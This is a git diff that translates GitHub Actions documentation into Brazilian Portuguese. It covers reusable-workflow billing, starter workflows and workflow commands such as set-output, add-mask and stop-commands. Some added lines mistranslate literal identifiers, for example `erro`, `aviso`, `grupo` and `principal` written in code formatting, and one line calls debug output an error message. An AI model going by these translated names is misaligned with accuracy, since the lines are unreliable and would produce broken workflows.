+Além dos limites de uso, você deve garantir que você usa {% data variables.product.prodname_actions %} nos [Termos de serviço](/free-pro-team@latest/github/site-policy/github-terms-of-service/) do GitHub. Para obter mais informações sobre termos específicos de {% data variables.product.prodname_actions %}, consulte os [Termos adicionais do produto do GitHub](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage).
 {% endif %}
 
 {% ifversion fpt or ghes > 3.3 or ghec %}
-## Billing for reusable workflows
+## Cobrança para fluxos de trabalho reutilizáveis
 
-If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. 
+Se você reutilizar um fluxo de trabalho, a cobrança será sempre associada ao fluxo de trabalho de chamadas. A atribuição de executores hospedados em {% data variables.product.prodname_dotcom %}é sempre avaliada usando apenas o contexto do invocador. O invocador não pode usar os executores hospedados em {% data variables.product.prodname_dotcom %} do repositório invocado.
 
-For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+Para obter mais informações, consulte "[Reutilizando fluxos de trabalho](/actions/learn-github-actions/reusing-workflows)".
 {% endif %}
 
-## Artifact and log retention policy
+## Artefato e política de retenção de registro
 
-You can configure the artifact and log retention period for your repository, organization, or enterprise account.
+É possível configurar o artefato e o período de retenção de registro para o seu repositório, organização ou conta corporativa.
 
 {% data reusables.actions.about-artifact-log-retention %}
 
-For more information, see:
+Para obter mais informações, consulte:
 
-- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)"
-- "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)"
-- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
+- "[Gerenciar configurações de {% data variables.product.prodname_actions %} para um repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)"
+- "[Configurar o período de retenção para {% data variables.product.prodname_actions %} para artefatos e registros na sua organização](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)"
+- "[Aplicar políticas para {% data variables.product.prodname_actions %} na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
 
-## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization
+## Desativar ou limitar {% data variables.product.prodname_actions %} para o seu repositório ou organização
 
 {% data reusables.github-actions.disabling-github-actions %}
 
-For more information, see:
-- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)"
-- "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)"
-- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
+Para obter mais informações, consulte:
+- "[Gerenciar configurações de {% data variables.product.prodname_actions %} para um repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)"
+- "[Desabilitar ou limitar {% data variables.product.prodname_actions %} para a sua organização](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)"
+- "[Aplicar políticas para {% data variables.product.prodname_actions %} na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
 
-## Disabling and enabling workflows
+## Desabilitar e habilitar fluxos de trabalho
 
-You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}.
+Você pode habilitar e desabilitar os fluxos de trabalho individuais no seu repositório em {% data variables.product.prodname_dotcom %}.
 
 {% data reusables.actions.scheduled-workflows-disabled %}
 
-For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)."
+Para obter mais informações, consulte "[Desabilitar e habilitar um fluxo de trabalho](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)".
diff --git a/translations/pt-BR/content/actions/learn-github-actions/using-starter-workflows.md b/translations/pt-BR/content/actions/learn-github-actions/using-starter-workflows.md
index 9af782bd97..8a7e61c447 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/using-starter-workflows.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/using-starter-workflows.md
@@ -1,6 +1,6 @@
 ---
-title: Using starter workflows
-intro: '{% data variables.product.product_name %} provides starter workflows for a variety of languages and tooling.'
+title: Usando fluxos de trabalho iniciais
+intro: '{% data variables.product.product_name %} fornece fluxos de trabalho iniciais para uma série de linguagens e ferramentas.'
 redirect_from:
   - /articles/setting-up-continuous-integration-using-github-actions
   - /github/automating-your-workflow-with-github-actions/setting-up-continuous-integration-using-github-actions
@@ -23,32 +23,32 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About starter workflows
+## Sobre fluxos de trabalho iniciais
 
-{% data variables.product.product_name %} offers starter workflows for a variety of languages and tooling. When you set up workflows in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a starter workflow file that installs your Node.js packages and runs your tests.{% if actions-starter-template-ui %} You can search and filter to find relevant starter workflows.{% endif %}
+{% data variables.product.product_name %} oferece fluxos de trabalho iniciantes para uma série de linguagens e ferramentas. Ao configurar os fluxos de trabalho no repositório, {% data variables.product.product_name %} analisa o código no seu repositório e recomenda fluxos de trabalho baseados na linguagem e na estrutura do seu repositório. Por exemplo, se você usar [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} irá sugerir um arquivo de fluxo de trabalho inicial que instala pacotes do seu Node.js e executa os seus testes.{% if actions-starter-template-ui %} Você pode pesquisar e filtrar para encontrar fluxos de trabalho iniciantes relevantes.{% endif %}
 
-You can also create your own starter workflow to share with your organization. These starter workflows will appear alongside the {% data variables.product.product_name %}-provided starter workflows. For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
+Você também pode criar seu próprio fluxo de trabalho inicial para compartilhar com sua organização. Estes fluxos de trabalho iniciais aparecerão junto com os fluxos de trabalho iniciais fornecidos por {% data variables.product.product_name %}. Para obter mais informações, consulte "[Criando fluxos de trabalho iniciais para a sua organização](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)".
 
-## Using starter workflows
+## Usando fluxos de trabalho iniciais
 
-Anyone with write permission to a repository can set up {% data variables.product.prodname_actions %} starter workflows for CI/CD or other automation.
+Qualquer pessoa com a permissão de gravação em um repositório pode configurar fluxos de trabalho iniciais de {% data variables.product.prodname_actions %} para CI/CD ou outra automatização.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. If you already have a workflow in your repository, click **New workflow**.
-1. Find the starter workflow that you want to use, then click **Set up this workflow**.{% if actions-starter-template-ui %} To help you find the starter workflow that you want, you can search for keywords or filter by category.{% endif %}
-1. If the starter workflow contains comments detailing additional setup steps, follow these steps. Many of the starter workflow have corresponding guides. For more information, see [the {% data variables.product.prodname_actions %} guides](/actions/guides)."
-1. Some starter workflows use secrets. For example, {% raw %}`${{ secrets.npm_token }}`{% endraw %}. If the starter workflow uses a secret, store the value described in the secret name as a secret in your repository. For more information, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
-1. Optionally, make additional changes. For example, you might want to change the value of `on` to change when the workflow runs.
-1. Click **Start commit**.
-1. Write a commit message and decide whether to commit directly to the default branch or to open a pull request.
+1. Se você já tem um fluxo de trabalho no seu repositório, clique em **Novo fluxo de trabalho**.
+1. Localize o fluxo de trabalho inicial que deseja usar e, em seguida, clique em **Configurar este fluxo de trabalho**.{% if actions-starter-template-ui %} Para ajudá-lo a encontrar o fluxo de trabalho inicial que você quer, você pode procurar por palavras-chave ou filtrar por categoria.{% endif %}
+1. Se o fluxo de trabalho inicial contiver comentários que detalham as etapas de instalação adicionais, siga estas etapas. Muitos dos fluxos de trabalho iniciais têm guias correspondentes. Para obter mais informações, consulte [os guias de {% data variables.product.prodname_actions %}](/actions/guides).
+1. Alguns fluxos de trabalho iniciais usam segredos. Por exemplo, {% raw %}`${{ secrets.npm_token }}`{% endraw %}. Se o fluxo de trabalho inicial usar um segredo, armazene o valor descrito no nome do segredo como um segredo no repositório. Para obter mais informações, consulte "[Segredos criptografados](/actions/reference/encrypted-secrets)".
+1. Opcionalmente, faça as alterações adicionais. Por exemplo, talvez você queira alterar o valor de `on` para mudar quando o fluxo de trabalho é executado.
+1. Clique em **Start commit** (Iniciar commit).
+1. Escreva uma mensagem de commit e decida se você deseja de fazer o commit diretamente para o branch padrão ou abrir um pull request.
 
-## Further reading
+## Leia mais
 
-- "[About continuous integration](/articles/about-continuous-integration)"
-- "[Managing workflow runs](/actions/managing-workflow-runs)"
-- "[About monitoring and troubleshooting](/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- [Sobre integração contínua](/articles/about-continuous-integration)
+- "[Gerenciando execuções de fluxo de trabalho](/actions/managing-workflow-runs)"
+- "[Sobre o monitoramento e solução de problemas](/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting)"
+- "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
 {% ifversion fpt or ghec %}
-- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
+- "[Gerenciando cobrança para {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
 {% endif %}
diff --git a/translations/pt-BR/content/actions/learn-github-actions/workflow-commands-for-github-actions.md b/translations/pt-BR/content/actions/learn-github-actions/workflow-commands-for-github-actions.md
index 221421424b..5bdb50b030 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/workflow-commands-for-github-actions.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/workflow-commands-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Workflow commands for GitHub Actions
-shortTitle: Workflow commands
-intro: You can use workflow commands when running shell commands in a workflow or in an action's code.
+title: Comandos do fluxo de trabalho para o GitHub Actions
+shortTitle: Comandos do fluxo de trabalho
+intro: Você pode usar comandos do fluxo de trabalho ao executar comandos do shell em um fluxo de trabalho ou no código de uma ação.
 redirect_from:
   - /articles/development-tools-for-github-actions
   - /github/automating-your-workflow-with-github-actions/development-tools-for-github-actions
@@ -19,11 +19,11 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About workflow commands
+## Sobre os comandos do fluxo de trabalho
 
-Actions can communicate with the runner machine to set environment variables, output values used by other actions, add debug messages to the output logs, and other tasks.
+As ações podem comunicar-se com a máquina do executor para definir as variáveis de ambiente, valores de saída usados por outras ações, adicionar mensagens de depuração aos registros de saída e outras tarefas.
 
-Most workflow commands use the `echo` command in a specific format, while others are invoked by writing to a file. For more information, see ["Environment files".](#environment-files)
+A maioria dos comandos de fluxo de trabalho usa o comando `echo` em um formato específico, enquanto outros são chamados escrevendo um arquivo. Para obter mais informações, consulte ["Arquivos de ambiente".](#environment-files)
 
 ``` bash
 echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
@@ -31,25 +31,25 @@ echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
 
 {% note %}
 
-**Note:** Workflow command and parameter names are not case-sensitive.
+**Observação:** Os nomes do comando do fluxo de trabalho e do parâmetro não diferenciam maiúsculas e minúsculas.
 
 {% endnote %}
 
 {% warning %}
 
-**Warning:** If you are using Command Prompt, omit double quote characters (`"`) when using workflow commands.
+**Aviso:** se você estiver usando um prompt do comando, omita as aspas duplas (`"`) ao usar comandos do fluxo de trabalho.
 
 {% endwarning %}
 
-## Using workflow commands to access toolkit functions
+## Usar comandos do fluxo de trabalho para acessar funções do kit de de ferramentas
 
-The [actions/toolkit](https://github.com/actions/toolkit) includes a number of functions that can be executed as workflow commands. Use the `::` syntax to run the workflow commands within your YAML file; these commands are then sent to the runner over `stdout`. For example, instead of using code to set an output, as below:
+O [actions/toolkit](https://github.com/actions/toolkit) inclui uma quantidade de funções que podem ser executadas como comandos do fluxo de trabalho. Use a sintaxe `::` para executar os comandos do fluxo de trabalho no arquivo YAML. Em seguida, esses comandos serão enviados para a o executor por meio do `stdout`. Por exemplo, em vez de usar o código para definir uma saída, como abaixo:
 
 ```javascript
 core.setOutput('SELECTED_COLOR', 'green');
 ```
 
-You can use the `set-output` command in your workflow to set the same value:
+Você pode usar o comando `set-output` no seu fluxo de trabalho para definir o mesmo valor:
 
 {% raw %}
 ``` yaml
@@ -61,52 +61,53 @@ You can use the `set-output` command in your workflow to set the same value:
 ```
 {% endraw %}
 
-The following table shows which toolkit functions are available within a workflow:
+A tabela a seguir mostra quais funções do conjunto de ferramentas estão disponíveis dentro de um fluxo de trabalho:
 
-| Toolkit function | Equivalent workflow command |
-| ----------------- |  ------------- |
-| `core.addPath`    | Accessible using environment file `GITHUB_PATH` |
-| `core.debug`      | `debug` |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %}
-| `core.notice`     | `notice` |{% endif %}
-| `core.error`      | `error` |
-| `core.endGroup`   | `endgroup` |
-| `core.exportVariable` | Accessible using environment file `GITHUB_ENV` |
-| `core.getInput`   | Accessible using environment variable `INPUT_{NAME}` |
-| `core.getState`   | Accessible using environment variable `STATE_{NAME}` |
-| `core.isDebug`    |  Accessible using environment variable `RUNNER_DEBUG` |
-| `core.saveState`  | `save-state` |
-| `core.setCommandEcho` | `echo` |
-| `core.setFailed`  | Used as a shortcut for `::error` and `exit 1` |
-| `core.setOutput`  | `set-output` |
-| `core.setSecret`  | `add-mask` |
-| `core.startGroup` | `group` |
-| `core.warning`    | `warning` |
+| Função do kit de ferramentas | Comando equivalente do fluxo de trabalho                              |
+| ---------------------------- | --------------------------------------------------------------------- |
+| `core.addPath`               | Acessível usando o arquivo de ambiente `GITHUB_PATH`                  |
+| `core.debug`                 | `debug` |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %}
+| `core.notice`                | `notice` 
+{% endif %}
+| `core.error`                 | `erro`                                                                |
+| `core.endGroup`              | `endgroup`                                                            |
+| `core.exportVariable`        | Acessível usando o arquivo de ambiente `GITHUB_ENV`                   |
+| `core.getInput`              | Acessível por meio do uso da variável de ambiente `INPUT_{NAME}`      |
+| `core.getState`              | Acessível por meio do uso da variável de ambiente `STATE_{NAME}`      |
+| `core.isDebug`               | Acessível por meio do uso da variável de ambiente `RUNNER_DEBUG`      |
+| `core.saveState`             | `save-state`                                                          |
+| `core.setCommandEcho`        | `echo`                                                                |
+| `core.setFailed`             | Usado como um atalho para `::error` e `exit 1`                        |
+| `core.setOutput`             | `set-output`                                                          |
+| `core.setSecret`             | `add-mask`                                                            |
+| `core.startGroup`            | `grupo`                                                               |
+| `core.warning`               | `aviso`                                                               |
 
-## Setting an output parameter
+## Definir um parâmetro de saída
 
 ```
 ::set-output name={name}::{value}
 ```
 
-Sets an action's output parameter.
+Configura um parâmetro de saída da ação.
 
-Optionally, you can also declare output parameters in an action's metadata file. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs)."
+Opcionalmente, você também pode declarar os parâmetros de saída no arquivo de metadados de uma ação. Para obter mais informações, consulte "[Sintaxe de metadados para o {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs)".
 
-### Example
+### Exemplo
 
 ``` bash
 echo "::set-output name=action_fruit::strawberry"
 ```
 
-## Setting a debug message
+## Configurar uma mensagem de depuração
 
 ```
 ::debug::{message}
 ```
 
-Prints a debug message to the log. You must create a secret named `ACTIONS_STEP_DEBUG` with the value `true` to see the debug messages set by this command in the log. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)."
+Imprime uma mensagem de erro no log. Você deve criar um segredo nomeado `ACTIONS_STEP_DEBUG` com o valor `true` para ver as mensagens de erro configuradas por esse comando no log. Para obter mais informações, consulte "[Habilitar o registro de depuração](/actions/managing-workflow-runs/enabling-debug-logging)".
 
-### Example
+### Exemplo
 
 ``` bash
 echo "::debug::Set the Octocat variable"
@@ -114,17 +115,17 @@ echo "::debug::Set the Octocat variable"
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %}
 
-## Setting a notice message
+## Configurando uma mensagem de aviso
 
 ```
 ::notice file={name},line={line},endLine={endLine},title={title}::{message}
 ```
 
-Creates a notice message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %}
+Cria uma mensagem de aviso e a imprime no registro. {% data reusables.actions.message-annotation-explanation %}
 
 {% data reusables.actions.message-parameters %}
 
-### Example
+### Exemplo
 
 ``` bash
 echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
@@ -132,48 +133,48 @@ echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
 
 {% endif %}
 
-## Setting a warning message
+## Configurar uma mensagem de aviso
 
 ```
 ::warning file={name},line={line},endLine={endLine},title={title}::{message}
 ```
 
-Creates a warning message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %}
+Cria uma mensagem de aviso e a imprime no log. {% data reusables.actions.message-annotation-explanation %}
 
 {% data reusables.actions.message-parameters %}
 
-### Example
+### Exemplo
 
 ``` bash
 echo "::warning file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
 ```
 
-## Setting an error message
+## Configurar uma mensagem de erro
 
 ```
 ::error file={name},line={line},endLine={endLine},title={title}::{message}
 ```
 
-Creates an error message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %}
+Cria uma mensagem de erro e a imprime no log. {% data reusables.actions.message-annotation-explanation %}
 
 {% data reusables.actions.message-parameters %}
 
-### Example
+### Exemplo
 
 ``` bash
 echo "::error file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
 ```
 
-## Grouping log lines
+## Agrupar linhas dos registros
 
 ```
 ::group::{title}
 ::endgroup::
 ```
 
-Creates an expandable group in the log. To create a group, use the `group` command and specify a `title`. Anything you print to the log between the `group` and `endgroup` commands is nested inside an expandable entry in the log.
+Cria um grupo expansível no registro. Para criar um grupo, use o comando `grupo` e especifique um `título`. Qualquer coisa que você imprimir no registro entre os comandos `grupo` e `endgroup` estará aninhada dentro de uma entrada expansível no registro.
 
-### Example
+### Exemplo
 
 ```bash
 echo "::group::My title"
@@ -181,44 +182,44 @@ echo "Inside group"
 echo "::endgroup::"
 ```
 
-![Foldable group in workflow run log](/assets/images/actions-log-group.png)
+![Grupo dobrável no registro da execução do fluxo de trabalho](/assets/images/actions-log-group.png)
 
-## Masking a value in log
+## Mascarar um valor no registro
 
 ```
 ::add-mask::{value}
 ```
 
-Masking a value prevents a string or variable from being printed in the log. Each masked word separated by whitespace is replaced with the `*` character. You can use an environment variable or string for the mask's `value`.
+Mascarar um valor evita que uma string ou variável seja impressa no log. Cada palavra mascarada separada por espaço em branco é substituída pelo caractere `*`. Você pode usar uma variável de ambiente ou string para o `value` da máscara.
 
-### Example masking a string
+### Exemplo de máscara de string
 
-When you print `"Mona The Octocat"` in the log, you'll see `"***"`.
+Quando você imprime `"Mona The Octocat"` no log, você verá `"***"`.
 
 ```bash
 echo "::add-mask::Mona The Octocat"
 ```
 
-### Example masking an environment variable
+### Exemplo de máscara de uma variável de ambiente
 
-When you print the variable `MY_NAME` or the value `"Mona The Octocat"` in the log, you'll see `"***"` instead of `"Mona The Octocat"`.
+Ao imprimir a variável `MY_NAME` ou o valor `"Mona The Octocat"` no log, você verá `"***"` em vez de `"Mona The Octocat"`.
 
 ```bash
 MY_NAME="Mona The Octocat"
 echo "::add-mask::$MY_NAME"
 ```
 
-## Stopping and starting workflow commands
+## Parar e iniciar os comandos no fluxo de trabalho
 
 `::stop-commands::{endtoken}`
 
-Stops processing any workflow commands. This special command allows you to log anything without accidentally running a workflow command. For example, you could stop logging to output an entire script that has comments.
+Para de processar quaisquer comandos de fluxo de trabalho. Esse comando especial permite fazer o registro do que você desejar sem executar um comando do fluxo de trabalho acidentalmente. Por exemplo, é possível parar o log para gerar um script inteiro que tenha comentários.
 
-To stop the processing of workflow commands, pass a unique token to `stop-commands`. To resume processing workflow commands, pass the same token that you used to stop workflow commands.
+Para parar o processamento de comandos de fluxo de trabalho, passe um token único para `stop-commands`. Para retomar os comandos do fluxo de trabalho, passe o mesmo token que você usou para parar os comandos do fluxo de trabalho.
 
 {% warning %}
 
-**Warning:** Make sure the token you're using is randomly generated and unique for each run. As demonstrated in the example below, you can generate a unique hash of your `github.token` for each run.
+**Aviso:** Certifique-se de que o token que você está usando é gerado aleatoriamente e exclusivo para cada execução. Como demonstrado no exemplo abaixo, você pode gerar um hash exclusivo do seu `github.token` para cada execução.
 
 {% endwarning %}
 
@@ -226,7 +227,7 @@ To stop the processing of workflow commands, pass a unique token to `stop-comman
 ::{endtoken}::
 ```
 
-### Example stopping and starting workflow commands
+### Exemplo de parar e iniciar comandos de workflow
 
 {% raw %}
 
@@ -246,22 +247,22 @@ jobs:
 
 {% endraw %}
 
-## Echoing command outputs
+## Eco de saídas de comando
 
 ```
 ::echo::on
 ::echo::off
 ```
 
-Enables or disables echoing of workflow commands. For example, if you use the `set-output` command in a workflow, it sets an output parameter but the workflow run's log does not show the command itself. If you enable command echoing, then the log shows the command, such as `::set-output name={name}::{value}`.
+Habilita ou desabilita o eco de comandos de fluxo de trabalho. Por exemplo, se você usar o comando `set-output` em um fluxo de trabalho, ele definirá um parâmetro de saída, mas o registro da execução do fluxo de trabalho não irá mostrar o comando em si. Se você habilitar o comando de eco, o registro mostrará o comando, como `::set-output name={name}::{value}`.
 
-Command echoing is disabled by default. However, a workflow command is echoed if there are any errors processing the command.
+O eco de comandos encontra-se desabilitado por padrão. No entanto, um comando de fluxo de trabalho será refletido se houver algum erro que processa o comando.
 
-The `add-mask`, `debug`, `warning`, and `error` commands do not support echoing because their outputs are already echoed to the log.
+Os comandos `add-mask`, `depurar`, `aviso` e `erro` não são compatíveis com o eco, porque suas saídas já estão ecoadas no registros.
 
-You can also enable command echoing globally by turning on step debug logging using the `ACTIONS_STEP_DEBUG` secret. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)". In contrast, the `echo` workflow command lets you enable command echoing at a more granular level, rather than enabling it for every workflow in a repository.
+Você também pode habilitar o comando de eco globalmente ativando o registrode depuração da etapa usando o segredo `ACTIONS_STEP_DEBUG`. Para obter mais informações, consulte[Habilitando o log de depuração](/actions/managing-workflow-runs/enabling-debug-logging)". Em contraste, o comando do fluxo de trabalho `echo` permite que você habilite o comando de eco em um nível mais granular em vez de habilitá-lo para cada fluxo de trabalho em um repositório.
 
-### Example toggling command echoing
+### Exemplo de alternar o comando do eco
 
 ```yaml
 jobs:
@@ -277,42 +278,42 @@ jobs:
           echo '::set-output name=action_echo::disabled'
 ```
 
-The step above prints the following lines to the log:
+A etapa acima imprime as seguintes linhas no registro:
 
 ```
 ::set-output name=action_echo::enabled
 ::echo::off
 ```
 
-Only the second `set-output` and `echo` workflow commands are included in the log because command echoing was only enabled when they were run. Even though it is not always echoed, the output parameter is set in all cases.
+Apenas os comandos do fluxo de trabalho `set-output` e `echo` estão incluídos no registro, porque o recurso de comandos só estava habilitado quando eles foram executados. Mesmo que nem sempre ele esteja ecoado, o parâmetro de saída é definido em todos os casos.
 
-## Sending values to the pre and post actions
+## Enviar valores para as ações anterior e posterior
 
-You can use the `save-state` command to create environment variables for sharing with your workflow's `pre:` or `post:` actions. For example, you can create a file with the `pre:` action,  pass the file location to the `main:` action, and then use the `post:` action to delete the file. Alternatively, you could create a file with the `main:` action, pass the file location to the `post:` action, and also use the `post:` action to delete the file.
+Você pode usar o comando `save-state` para criar variáveis de ambiente para compartilhar com as ações `pre:` ou `post:`. Por exemplo, você pode criar um arquivo com a ação `pre:`, passar o local do arquivo para a ação `main:` e, em seguida, usar a ação `post:` para excluir o arquivo. Como alternativa, você pode criar um arquivo com a ação `main:` ação, passar o local do arquivo para a ação `post:`, além de usar a ação `post:` para excluir o arquivo.
 
-If you have multiple `pre:` or `post:` actions, you can only access the saved value in the action where `save-state` was used. For more information on the `post:` action, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#post)."
+Se você tiver múltiplas ações `pre:` ou `post:` ações, você poderá apenas acessar o valor salvo na ação em que `save-state` foi usado. Para obter mais informações sobre a ação `post:`, consulte "[Sintaxe de metadados para {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#post)".
 
-The `save-state`  command can only be run within an action, and is not available to YAML files. The saved value is stored as an environment value with the `STATE_` prefix.
+O comando `save-state` pode ser executado apenas em uma ação e não está disponível para arquivos YAML. O valor salvo é armazenado como um valor de ambiente com o prefixo `STATE_`.
 
-This example uses JavaScript to run the `save-state` command. The resulting environment variable is named `STATE_processID` with the value of `12345`:
+Este exemplo usa o JavaScript para executar o comando `save-state`. A variável de ambiente resultante é denominada `STATE_processID` com o valor de `12345`:
 
 ``` javascript
 console.log('::save-state name=processID::12345')
 ```
 
-The `STATE_processID` variable is then exclusively available to the cleanup script running under the `main` action. This example runs in `main` and uses JavaScript to display the value assigned to the `STATE_processID` environment variable:
+A variável `STATE_processID` está exclusivamente disponível para o script de limpeza executado na ação `principal`. Este exemplo é executado em `principal` e usa o JavaScript para exibir o valor atribuído à variável de ambiente `STATE_processID`:
 
 ``` javascript
-console.log("The running PID from the main action is: " +  process.env.STATE_processID);
+console.log("O PID em execução a partir da ação principal é: " +  process.env.STATE_processID);
 ```
 
-## Environment Files
+## Arquivos de Ambiente
 
-During the execution of a workflow, the runner generates temporary files that can be used to perform certain actions. The path to these files are exposed via environment variables. You will need to use UTF-8 encoding when writing to these files to ensure proper processing of the commands. Multiple commands can be written to the same file, separated by newlines.
+Durante a execução de um fluxo de trabalho, o executor gera arquivos temporários que podem ser usados para executar certas ações. O caminho para esses arquivos são expostos através de variáveis de ambiente. Você precisará usar a codificação UTF-8 ao escrever para esses arquivos para garantir o processamento adequado dos comandos. Vários comandos podem ser escritos no mesmo arquivo, separados por novas linhas.
 
 {% warning %}
 
-**Warning:** On Windows, legacy PowerShell (`shell: powershell`) does not use UTF-8 by default. Make sure you write files using the correct encoding. For example, you need to set UTF-8 encoding when you set the path:
+**Aviso:** no Windows, o PowerShell de legado (`shell: powershell`) não usa UTF-8 por padrão. Certifique-se de escrever os arquivos usando a codificação correta. Por exemplo, você deve definir a codificação UTF-8 ao definir o caminho:
 
 ```yaml
 jobs:
@@ -323,7 +324,7 @@ jobs:
         run: echo "mypath" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
 ```
 
-Or switch to PowerShell Core, which defaults to UTF-8: 
+Ou mude para PowerShell Core, cujo padrão é UTF-8:
 
 ```yaml
 jobs:
@@ -334,28 +335,29 @@ jobs:
         run: echo "mypath" | Out-File -FilePath $env:GITHUB_PATH -Append # no need for -Encoding utf8
 ```
 
-More detail about UTF-8 and PowerShell Core found on this great [Stack Overflow answer](https://stackoverflow.com/a/40098904/162694):
+Mais detalhes sobre UTF-8 e PowerShell Core encontrados nesta excelente [resposta do Stack Overflow](https://stackoverflow.com/a/40098904/162694):
 
-> ### Optional reading: The cross-platform perspective: PowerShell _Core_:
-> [PowerShell is now cross-platform](https://blogs.msdn.microsoft.com/powershell/2016/08/18/powershell-on-linux-and-open-source-2/), via its **[PowerShell _Core_](https://github.com/PowerShell/PowerShell)** edition, whose encoding - sensibly - **defaults to *BOM-less UTF-8***, in line with Unix-like platforms.  
+> ### Leitura opcional: A perspectiva entre plataformas: PowerShell _Core_:
+> 
+> [O PowerShell agora é multiplataforma](https://blogs.msdn.microsoft.com/powershell/2016/08/18/powershell-on-linux-and-open-source-2/), por meio da sua edição do **[PowerShell _Core_](https://github.com/PowerShell/PowerShell)**, cuja codificação - sensívelmente - *** é igual a ***BOM-less UTF-8******, em linha com plataformas do Unix.
 
 {% endwarning %}
 
-## Setting an environment variable
+## Definir uma variável de ambiente
 
 ``` bash
 echo "{name}={value}" >> $GITHUB_ENV
 ```
 
-Creates or updates an environment variable for any steps running next in a job. The step that creates or updates the environment variable does not have access to the new value, but all subsequent steps in a job will have access. Environment variables are case-sensitive and you can include punctuation.
+Cria ou atualiza uma variável de ambiente para quaisquer etapas a serem executadas em seguida no trabalho. A etapa que cria ou atualiza a variável de ambiente não tem acesso ao novo valor, mas todos os passos subsequentes em um trabalho terão acesso. As variáveis de ambiente diferenciam maiúsculas de minúsculas e podem ter pontuação.
 
 {% note %}
 
-**Note:** Environment variables must be explicitly referenced using the [`env` context](/actions/reference/context-and-expression-syntax-for-github-actions#env-context) in expression syntax or through use of the `$GITHUB_ENV` file directly; environment variables are not implicitly available in shell commands.
